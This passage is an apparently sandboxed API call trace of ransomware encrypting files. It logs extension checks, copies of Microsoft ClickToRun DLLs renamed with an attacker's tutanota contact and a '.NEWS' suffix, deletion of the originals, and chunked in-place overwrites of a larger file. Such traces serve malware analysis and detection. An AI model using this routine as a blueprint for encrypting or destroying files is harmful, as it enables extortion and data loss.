lstrlenW (lpString=".1cd") returned 4 [0082.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString=".jpg") returned 4 [0082.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString=".doc") returned 4 [0082.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString=".docx") returned 5 [0082.335] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0082.335] lstrlenW (lpString=".pdf") returned 4 [0082.335] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString=".xls") returned 4 [0082.335] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString=".xlsx") returned 5 [0082.335] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0082.335] lstrlenW (lpString=".ppt") returned 4 [0082.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString=".zip") returned 4 [0082.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.336] lstrlenW (lpString=".rar") returned 4 [0082.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.336] lstrlenW (lpString=".bz2") returned 4 [0082.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.336] lstrlenW (lpString=".7z") returned 3 [0082.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.336] lstrlenW (lpString=".dbf") returned 4 [0082.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.336] lstrlenW (lpString=".1cd") returned 4 [0082.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.336] lstrlenW (lpString=".jpg") returned 4 [0082.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.336] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.336] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0082.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.337] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=396960) returned 1 [0082.337] CloseHandle (hObject=0x364) returned 1 [0082.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0082.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.337] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.337] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0082.338] GetLastError () returned 0x0 [0082.338] ReadFile (in: hFile=0x364, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0082.346] WriteFile (in: hFile=0x370, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x364, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.353] WriteFile (in: hFile=0x370, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xfa, lpOverlapped=0x0) returned 1 [0082.353] SetEndOfFile (hFile=0x370) returned 1 [0082.353] CloseHandle (hObject=0x370) returned 1 [0082.362] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.362] SetEndOfFile (hFile=0x364) returned 1 [0082.913] CloseHandle (hObject=0x364) returned 1 [0082.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0082.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.913] lstrlenW (lpString=".doc") returned 4 [0082.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.913] lstrlenW (lpString=".docx") returned 5 [0082.913] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0082.913] lstrlenW (lpString=".pdf") returned 4 [0082.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.913] lstrlenW (lpString=".xls") returned 4 [0082.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".xlsx") returned 5 [0082.914] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0082.914] lstrlenW (lpString=".ppt") returned 4 [0082.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString=".zip") returned 4 [0082.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".rar") returned 4 [0082.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".bz2") returned 4 [0082.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.914] lstrlenW (lpString=".7z") returned 3 [0082.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString=".dbf") returned 4 [0082.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString=".1cd") returned 4 [0082.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString=".jpg") returned 4 [0082.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.914] lstrlenW (lpString=".doc") returned 4 [0082.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".docx") returned 5 [0082.914] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0082.914] lstrlenW (lpString=".pdf") returned 4 [0082.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".xls") returned 4 [0082.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.914] lstrlenW (lpString=".xlsx") returned 5 [0082.914] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0082.915] lstrlenW (lpString=".ppt") returned 4 [0082.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.915] lstrlenW (lpString=".zip") returned 4 [0082.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.915] lstrlenW (lpString=".rar") returned 4 [0082.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.915] lstrlenW (lpString=".bz2") returned 4 [0082.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.915] lstrlenW (lpString=".7z") returned 3 [0082.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.915] lstrlenW (lpString=".dbf") returned 4 [0082.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.915] lstrlenW (lpString=".1cd") returned 4 [0082.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0082.915] lstrlenW (lpString=".jpg") returned 4 [0082.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.915] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.915] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0082.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.916] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=2285736) returned 1 [0082.916] CloseHandle (hObject=0x364) returned 1 [0082.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0082.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0082.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.917] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0x0) returned 1 [0082.917] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.917] ReadFile (in: hFile=0x364, lpBuffer=0x34e7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x34e7058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.921] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.921] ReadFile (in: hFile=0x364, lpBuffer=0x3527058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3527058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.924] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.924] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.924] ReadFile (in: hFile=0x364, lpBuffer=0x3567058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3567058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.948] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.948] WriteFile (in: hFile=0x364, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x25dfca8, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfca8*=0xc011a, lpOverlapped=0x0) returned 1 [0083.462] SetEndOfFile (hFile=0x364) returned 1 [0083.462] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3dc3a40 [0083.467] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.467] WriteFile (in: hFile=0x364, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.469] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.469] WriteFile (in: hFile=0x364, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.471] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc74 | out: lpNewFilePointer=0x0) returned 1 [0083.471] WriteFile (in: hFile=0x364, lpBuffer=0x3dc3a40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3dc3a40*, lpNumberOfBytesWritten=0x25dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.472] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.474] CloseHandle (hObject=0x364) returned 1 [0083.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.474] lstrlenW (lpString=".doc") returned 4 [0083.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString=".docx") returned 5 [0083.474] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0083.474] lstrlenW (lpString=".pdf") returned 4 [0083.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString=".xls") returned 4 [0083.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString=".xlsx") returned 5 [0083.474] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0083.474] lstrlenW (lpString=".ppt") returned 4 [0083.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.474] lstrlenW (lpString=".zip") returned 4 [0083.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString=".rar") returned 4 [0083.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.474] lstrlenW (lpString=".bz2") returned 4 [0083.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.474] lstrlenW (lpString=".7z") returned 3 [0083.475] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".dbf") returned 4 [0083.475] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".1cd") returned 4 [0083.475] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".jpg") returned 4 [0083.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".doc") returned 4 [0083.475] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString=".docx") returned 5 [0083.475] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0083.475] lstrlenW (lpString=".pdf") returned 4 [0083.475] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString=".xls") returned 4 [0083.475] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString=".xlsx") returned 5 [0083.475] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0083.475] lstrlenW (lpString=".ppt") returned 4 [0083.475] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".zip") returned 4 [0083.475] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString=".rar") returned 4 [0083.475] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.475] lstrlenW (lpString=".bz2") returned 4 [0083.475] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.475] lstrlenW (lpString=".7z") returned 3 [0083.475] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.475] lstrlenW (lpString=".dbf") returned 4 [0083.476] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.476] lstrlenW (lpString=".1cd") returned 4 [0083.476] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0083.476] lstrlenW (lpString=".jpg") returned 4 [0083.476] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.476] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0083.476] lstrlenW (lpString="C2R64.dll") returned 9 [0083.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0083.476] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=1208928) returned 1 [0083.476] CloseHandle (hObject=0x364) returned 1 [0083.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0083.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0083.477] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.477] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0083.477] GetLastError () returned 0x0 [0083.477] ReadFile (in: hFile=0x364, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0083.499] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0083.896] ReadFile (in: hFile=0x364, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x27270, lpOverlapped=0x0) returned 1 [0083.906] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x27280, lpOverlapped=0x0) returned 1 [0083.911] ReadFile (in: hFile=0x364, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.912] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0083.912] SetEndOfFile (hFile=0x380) returned 1 [0083.912] CloseHandle (hObject=0x380) returned 1 [0083.912] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.912] SetEndOfFile (hFile=0x364) returned 1 [0083.914] CloseHandle (hObject=0x364) returned 1 [0083.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1 [0083.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.914] lstrlenW 